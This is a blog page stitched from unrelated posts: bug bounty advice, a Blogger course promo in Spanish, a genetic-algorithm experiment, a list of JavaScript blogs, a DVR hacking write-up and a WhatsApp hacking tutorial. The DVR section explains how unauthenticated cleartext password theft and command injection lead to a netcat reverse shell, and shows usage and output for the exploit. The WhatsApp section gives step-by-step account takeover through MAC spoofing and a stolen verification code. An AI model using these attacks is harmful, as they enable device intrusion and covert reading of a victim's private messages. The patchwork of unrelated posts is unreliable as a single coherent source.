viernes, 8 de mayo de 2020

How Do I Get Started With Bug Bounty ?

How do I get started with bug bounty hunting? How do I improve my skills?



These are some simple steps that every bug bounty hunter can use to get started and improve their skills:

Learn to make it; then break it!
A major chunk of the hacker's mindset consists of wanting to learn more. In order to really exploit issues and discover further potential vulnerabilities, hackers are encouraged to learn to build what they are targeting. By doing this, there is a greater likelihood that hacker will understand the component being targeted and where most issues appear. For example, when people ask me how to take over a sub-domain, I make sure they understand the Domain Name System (DNS) first and let them set up their own website to play around attempting to "claim" that domain.

Read books. Lots of books.
One way to get better is by reading fellow hunters' and hackers' write-ups. Follow /r/netsec and Twitter for fantastic write-ups ranging from a variety of security-related topics that will not only motivate you but help you improve. For a list of good books to read, please refer to "What books should I read?".

Join discussions and ask questions.
As you may be aware, the information security community is full of interesting discussions ranging from breaches to surveillance, and further. The bug bounty community consists of hunters, security analysts, and platform staff helping one and another get better at what they do. There are two very popular bug bounty forums: Bug Bounty Forum and Bug Bounty World.

Participate in open source projects; learn to code.
Go to https://github.com/explore or https://gitlab.com/explore/projects and pick a project to contribute to. By doing so you will improve your general coding and communication skills. On top of that, read https://learnpythonthehardway.org/ and https://linuxjourney.com/.

Help others. If you can teach it, you have mastered it.
Once you discover something new and believe others would benefit from learning about your discovery, publish a write-up about it. Not only will you help others, you will learn to really master the topic because you can actually explain it properly.

Smile when you get feedback and use it to your advantage.
The bug bounty community is full of people wanting to help others so do not be surprised if someone gives you some constructive feedback about your work. Learn from your mistakes and in doing so use it to your advantage. I have a little physical notebook where I keep track of the little things that I learnt during the day and the feedback that people gave me.


Learn to approach a target.
The first step when approaching a target is always going to be reconnaissance — preliminary gathering of information about the target. If the target is a web application, start by browsing around like a normal user and get to know the website's purpose. Then you can start enumerating endpoints such as sub-domains, ports and web paths.

A woodsman was once asked, "What would you do if you had just five minutes to chop down a tree?" He answered, "I would spend the first two and a half minutes sharpening my axe."
As you progress, you will start to notice patterns and find yourself refining your hunting methodology. You will probably also start automating a lot of the repetitive tasks.

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Swann Song - DVR Insecurity

"Swan song" is a metaphorical phrase for a final gesture, effort, or performance given just before death or retirement. This post serves as the "swan song" for a whole slew of DVR security systems. With that being said, I will refer to the lyrical master MC Hammer, lets turn this mutha' out.

I recently had a chance to get my hands on a 4 channel DVR system system sold under a handful of company banners (4/8/16 channels) - Swann, Lorex, Night Owl, Zmodo, URMET, kguard security, etc. A few device model numbers are - DVR04B, DVR08B, DVR-16CIF, DVR16B
After firing up the device and putting it on the network I noticed that it was running a telnet server, unfortunately the device does not appear to come configured with an easy/weak login :(. Time to open it up and see whats going on :)

After opening the device up something grabbed my attention right away....

The highlighted header looked like a pretty good possibility for a serial port, time to break out the multi-meter and check. After a couple power cycles, the header was indeed a serial port :)

After hooking up my usb to serial breakout board to the device serial port and guessing at the following serial settings: 115200 8-N-1 , I was stuck looking at a login prompt without a working login or password.

Lucky for me the device startup can be reconfigured using the u-boot environment. The environment variable "bootargs" can be adjusted to boot the linux system into single user mode by appending "single" to the end of the existing settings:
setenv bootargs mem=68M console=ttyAMA0,115200 root=1f01 rootfstype=jffs2 mtdparts=physmap-flash.0:4M(boot),12M(rootfs),14M(app),2M(para) busclk=220000000 single



This change to the bootargs variable is only temporary at this point, if we were to power cycle the device the change would be lost. It is possible to write these changes to the device, but in this case we only want to boot into single user mode once. To boot the device you need to tell the boot loader where the kernel exists in memory, this value can be found in the default environment variable "bootdcmd".


Once the device is booted up in single user mode, the root password can be reset and the device can be rebooted. Telnet now works, but what fun is that when these devices don't normally expose telnet to the internet :). Now for the real fun...looking at the device the default configuration is setup to auto-magically use the power of the dark lord satan (uPnP) to map a few ports on your router (if it supports uPnP). One of the ports that it will expose is for the web (activeX) application and the other is the actual comms channel the device uses (port 9000). The first item I looked at was the web application that is used to view the video streams remotely and configure the device. The first thing that I found with this lovely device is that the comms channel (9000) did not appear to do any authentication on requests made to it...Strike 1. I imagine the activeX application that is used to connect to the device could be patched to just skip the login screen, but that seems like a lot of work, especially when there are much easier ways in. The next thing I saw was a bit shocking...when you access the application user accounts page the device sends the application all the information about the accounts stored on the device. This includes the login and password. In clear text. Strike 2. I created a small PoC in python that will pull the password from a vulnerable device:
python getPass.py 192.168.10.69
[*]Host: 192.168.10.69
[+]Username: admin
[+]Password: 123456
Script can be found here.

After owning the device at the "application" level, I figured it was time to go deeper.

Port 9000 is run by a binary named 'raysharpdvr'. I pulled the binary off the device and started going through it looking for interesting stuff. First thing I noticed was the device was using the "system" call to carry out some actions, after chasing down these calls and not seeing much, the following popped up:


"sprintf" with user input into a "system", that'll do it. Couple problems to overcome with this. First in order to use this vector for command injection you must configure the device to use "ppp" - this will cause the device to go offline and we will not be able to interact with it further :(. We can get around this issue by injecting a call to the dhcp client appliction ("udhcpc") - this will cause the device to use dhcp to get its network information bypassing the previous "ppp" config. The other issue is once we have reconfigured the device to run our command, it needs to be restarted before it will execute (its part of the init scripts). The application does not actually provide a way to reboot the device using the web interface, there is a section that says 'reboot', but when it is triggered nothing happens and some debugging information displayed in the serial console saying the functionality is not implemented. Lucky for us there are plenty of overflow bugs in this device that will lead to a crash :). The device has a watchdog that polls the system to check if the "raysharpdvr" application is running and if it does not see it, it initiates a system reboot - very helpful. With those two issues out of the way the only thing left is HOW to talk to our remote root shell that is waiting for us....luckily the device ships with netcat built into busybox, -e flag and all :)
Usage: sploit.py <target> <connectback host> <connectback port>
$ python sploit.py 192.168.10.69 192.168.10.66 9999
[*]Sending Stage 1
[*]Sending Stage 2
[*]Rebooting the server with crash....
Ncat: Version 5.21 ( http://nmap.org/ncat )
Ncat: Listening on 0.0.0.0:9999
Strike 3, get this weak shit off my network. The script can be found here. The script relies on the web application running on port 80, this is not always the case so you may need to adjust the script to fix if your device listens on another port. It is also worth noting that it may take a few minutes for the device to reboot and connect back to you.
Unfortunately the web server that runs on this device does not behave correctly (no response headers) so I do not believe finding these online is as easy as searching shodan, however it is possible to fingerprint vulnerable devices by looking for hosts with port 9000 open.

tl;dr; A whole slew of security dvr devices are vulnerable to an unauthenticated login disclosure and unauthenticated command injection.
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Curso De Blogger Completo | Paso A Paso |

En este corto artículo queremos enfocarnos en Blogger un sitio creado por Pyra Labs y adquirido por Google, permitiendo la creación y gestión de blogs ya sean corporativos o personales. Por este motivo es habitual que pequeños emprendedores se inclinen por el marketing de contenidos tratando de buscar estrategias económicas.
En base a esto, damos a conocer un excelente curso de programación en Blogger, ya que hoy en día es una de las plataformas más usadas, razón por la cual los usuarios la prefieren sobre Wordpress por ser sutil y veloz a la hora  de producir contenido para Web.
https://www.dominatupc.com.co/
En este curso vas a conocer desde cero todas las herramientas y características necesarias para que empieces a crear contenido de manera profesional, utilizando estrategias para tener más éxito en los medios digitales. Tener un blog de este tipo es fácil, ya que no tienes que invertir algún costo, es prácticamente hipotético, pero la realidad sería hacerlo crecer, ya que es necesario ser constante y ordenado en las publicaciones para lograr mantener la inclinación de tu público.
Sin nada más que decir vamos a centrarnos en conocer los diferentes módulos o secciones a tratar, correspondiente al curso completo de Blogger 2020.
Este curso gratuito viene acompañado de una explicación detallada, brindando la facilidad de seleccionar las distintas secciones que encontrara en esta guía, con un paso a paso para que tenga un mejor alcance de todo el procedimiento programado durante el aprendizaje y entienda de la mejor manera cada unos de los pasos que acarrea crear un blog o Web de manera profesional.
Todos los créditos para nuestro amigo Yoney Gallardo por compartir todo su conocimiento, le  invitamos para que visiten su canal y estén al tanto de todo su contenido. También te puede interesar:(Cómo crear páginas Web desde cero con WordPress, edición 2020)


Related word


Evolving Logic Until Pass Tests Automatically

Automating the automation is still a challenge, but in some cases it's possible under certain situations.

In 2017 I created logic-evolver, one of my experiments for creating logic automatically or better said evolving logic automatically.

In some way, the computer create its own program that satisfies a set of tests defined by a human.

https://github.com/sha0coder/logic-evolver

This implementation in rust, contains a fast cpu emulator than can execute one million instructions in less than two seconds. And a simple genetic algorithm to do the evolution.


Here we create the genetic algorithm, and configure a population of 1000 individuals, and the top 5 to crossover. We run the genetic algorithm with 500 cycles maximum.
Note that in this case the population are programs initially random until take the correct shape.


An evaluation function is provided in the run method as well, and looks like this:




The evaluation function receives a CPU object, to compute a test you need to set the initial parameters, run the program and set a scoring regarding the return value.


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Top10 Java Script Blogs To Improve Coding Skills

10 Top JavaScript Blogs to Improve Coding Skills
 

The Best JavaScript Blogs

With two decades of improvement, JavaScript has become one of the most popular programming languages of all time. The journey started in 1995 when Brendan Eich created JavaScript in just 10 days. From there, it has seen multiple revisions, drafts, and growth in the form of frameworks, API's, modules, etc. Today, we will go forward and list the top JavaScript blogs from the internet so that you can enjoy the lastest development in the field of JavaScript.

According to RedMonk programming language rankings and GitHut.info, JavaScript is leading the pack in the terms of repositories and the most discussed programming language on StackOverFlow. The numbers itself speaks about the future of JavaScript as it has grown beyond the initial capabilities of simple DOM manipulations.

Learning JavaScript, on the other hand, can be a tricky proposition. New libraries, features, API's or Style Guide, pop up almost every day. The speed of iteration is beyond imagination, and that is why reading leading JavaScript blogs are the best approach to keep up with new changes.

Slack-clone-angularjs

JavaScript is blessed with experts that regularly contribute to the community using live streams, videos, blogs, podcasts, conferences and open source projects. An example of a cool experienced Javascript programmer is evilsoft who broadcasts awesome Javascript projects weekly on LiveEdu..

Some blogs are just gold even when they are not updated frequently. To help you reach the best content on JavaScript, let's list the best JavaScript blogs on the internet. The following blogs have a huge fan following and contain epic JavaScript content.

10 Top JavaScript Blogs to Improve Coding Skills

1. David Walsh Blog

David Walsh is a renowned name in the JavaScript world. He started his career with DZone, but his first real break came while working for SitePen as a Software Engineer. His blog composes of topics related to JavaScript, personal thoughts, guides and much more. The blog design is captivating and is going to hook you up on the first visit. Currently, he is working as a Senior Web Developer at Mozilla.

top javascript blogs

2. DailyJS

DailyJS is one of the best JavaScript blogs on the internet. The blog was started by Alex R. Young, an entrepreneur and Node.js expert in 2009. However, there are recent changes that don't sound great. Currently, the blog is no longer updated, but that does not make the content useless at all. The blog covers diverse content on JavaScript including frameworks, API's, libraries, etc.

2-daily-js

3. SitePoint

SitePoint is one of the leading web development portals since 2000. The main attraction of SitePoint is the collection of highly detailed articles. They are aimed at teaching something new to the readers. JavaScript, on the other hand, is one of the leading topics on the website where experts around the world contribute regularly. The rate of the new blog post is high, and you won't find a blog post that doesn't teach you something new. Truly, a great learning place for any JavaScript developer.

3-Sitepoint

4. JavaScript.com

Not technically a blog, but if you love JavaScript, then you need to follow the website's offerings. JavaScript.com news section is an aggregator for excellent JavaScript news, tutorials, guides, and much more. All you need to do is move to their news section and discover tons of new content surrounding JavaScript. The domain is owned by CodeSchool and is mainly utilized to contribute to the community and a landing page to their courses.

4-JavaScript

5. Brendan Eich

What's the best place to find JavaScript knowledge? The inventor? Well, you are right. Brendan Eich, the creator of JavaScript, keeps his blog with filled with his musings and other excellent thought processes about JavaScript. You can also find videos on the blog. Virtually, the blog is the mind of JavaScript where you understand it in an entirely different manner.

5-brendan-eich

6. JavaScript Playground

JavaScript Playground is yet another great place to get started with all the different JavaScript frameworks, API, and libraries. The focus is to work with the JavaScript ecosystem and provide high quality blog articles, screencast, and podcast for the audience. They also blog about different JavaScript guidelines, tips, and tricks.

6-JavaScript-Playground

7. Superhero.js

If you are looking for a superhero to fetch you the best resources on JavaScript, then you have finally found one. Superhero.js is a simple website that aims to collect everything related to JavaScript including videos, articles, presentations, etc. The content is divided into meaningful sections such as "Understanding JavaScript", "Organize Your Code", etc. Also, the page is regularly updated with new information.

7-superhero

8. JavaScript Jabber

Another "not a blog entry" into the list — JavaScript Jabber is a weekly podcast on JavaScript. Each podcast is around 1 hour of jabber and will sure have something for you to learn. They keep their tab on everything related to JavaScript, including core concepts to popular Framework discussions.

8-JavaScript-Jabber

9. Medium JavaScript Collection

Is medium a blog? Technically, not, but it contains high quality JavaScript articles. Medium is a way to connect to the audience so be ready to read many opinions on how JavaScript should have been, and what's wrong with JavaScript. Other than the ramblings, it hosts amazing JavaScript content such as Speed Up Web Apps.

9-JavaScript-collection-medium

10. Smashing Magazine

Smashing Magazine is one of the oldest websites covering web designing and development. They have a dedicated section for JavaScript, which is constantly updated with tutorials of high caliber. The tutorials surround other web development ideas such as UX, Productivity, etc.

10-smashing-magazine

Conclusion

Here are the ten best JavaScript blogs to improve your coding skills. The blogs and mix of other content types will help you to keep up with new changes in JavaScript field, and improve yourself accordingly.

If you are new to JavaScript and want to get started as soon as possible, check out the JavaScript learn section on LiveEdu.tv. And, yes, it is the most popular programming language on LiveEdu.tv which can benefit from your attention! Also, don't forget to leave a comment on how the JavaScript category page can be improved. We are listening!

Dr. Michael J. Garbade

About Author Dr. Michael Jurgen Garbade is the founder of LiveEdu.TV, Kyuda, Education Ecosystem. He is future Venture Capitalist, Future Politician and always on the lookout for the Next Big Challenge. Obtained Masters in business administration and physics, and a Ph.D. in finance with professional work experience in high-paced environments at Fortune 500 companies like Amazon and General Electric. Expertize: Python, PHP, Sencha Touch & C++, SEO, Finance, Strategy & E-commerce. He speaks English and German and has worked in the US, Europe, and Asia. At Education Ecosystem he is the CEO and runs business operations.

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HOW TO HACK WHATSAPP ACCOUNT? – WHATSAPP HACK

In the last article, I have discussed a method on WhatsApp hack using SpyStealth Premium App. Today I am gonna show you an advanced method to hack WhatsApp account by mac spoofing. It's a bit more complicated than the last method discussed and requires proper attention. It involves the spoofing of the mac address of the target device. Let's move on how to perform the attack.

SO, HOW TO HACK WHATSAPP ACCOUNT?                                                          

STEP TO FOLLOW FOR WHATSAPP HACK

Here I will show you complete tutorial step by step of hacking WhatsApp account. Just understand each step carefully so this WhatsApp hack could work great.
  1. Find out the victim's phone and note down it's Mac address. To get the mac address in Android devices, go to Settings > About Phone > Status > Wifi Mac address. And here you'll see the mac address. Just write it somewhere. We'll use it in the upcoming steps.
  2. As you get the target's mac address, you have to change your phone's mac address with the target's mac address. Perform the steps mentioned in this article on how to spoof mac address in android phones.
  3. Now install WhatsApp on your phone and use victim's number while you're creating an account. It'll send a verification code to victim's phone. Just grab the code and enter it here.
  4. Once you do that, it'll set all and you'll get all chats and messages which victims sends or receives.
This method is really a good one but a little difficult for the non-technical users. Only use this method if you're technical skills and have time to perform every step carefully. Otherwise, you can hack WhatsApp account using Spying app.
If you want to know how to be on the safer edge from WhatsApp hack, you can follow this article how to protect WhatsApp from being hacked.

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